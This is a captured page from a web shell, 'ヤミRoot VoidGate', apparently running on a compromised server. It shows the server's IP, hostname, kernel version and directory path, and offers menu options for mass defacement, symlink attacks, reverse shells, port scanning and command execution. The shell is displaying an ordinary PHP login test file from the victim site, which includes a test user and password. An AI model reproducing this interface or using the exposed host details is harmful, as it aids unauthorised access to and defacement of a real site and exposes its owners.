ヤミRoot VoidGate
User / IP
:
216.73.216.84
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
tests
/
Viewing: AuthenticationTest.php
<?php namespace App\Tests; use ApiPlatform\Core\Bridge\Symfony\Bundle\Test\ApiTestCase; use App\Entity\User; use Hautelook\AliceBundle\PhpUnit\ReloadDatabaseTrait; class AuthenticationTest extends ApiTestCase { use ReloadDatabaseTrait; public function testLogin(): void { $client = self::createClient(); $user = new User(); $user->setEmail('john@gmail.com'); $user->setEmailCanonical('john@gmail.com'); $user->setEnabled(true); $user->setActive(true); $user->setRoles(array("Role_USER")); $user->setUsername("rony"); $user->setLastName("Doe"); $user->setFirstName("John"); $user->setPlainPassword("$3CR3T"); $user->setPassword( self::$container->get('security.user_password_hasher')->hashPassword($user, '$3CR3T') ); $manager = self::$container->get('doctrine')->getManager(); $manager->persist($user); $manager->flush(); // retrieve a token $response = $client->request('POST', '/loger-api/public/authentication_token', [ 'headers' => ['Content-Type' => 'application/json'], 'json' => [ 'email' => 'john@gmail.com', 'password' => '$3CR3T', ], ]); $json = $response->toArray(); $this->assertResponseIsSuccessful(); $this->assertArrayHasKey('token', $json); // test not authorized $client->request('GET', '/loger-api/public/api/v1/users'); $this->assertResponseStatusCodeSame(401); // test authorized $client->request('GET', '/loger-api/public/api/v1/users', ['auth_bearer' => $json['token']]); $this->assertResponseIsSuccessful(); } }
Coded With 💗 by
0x6ick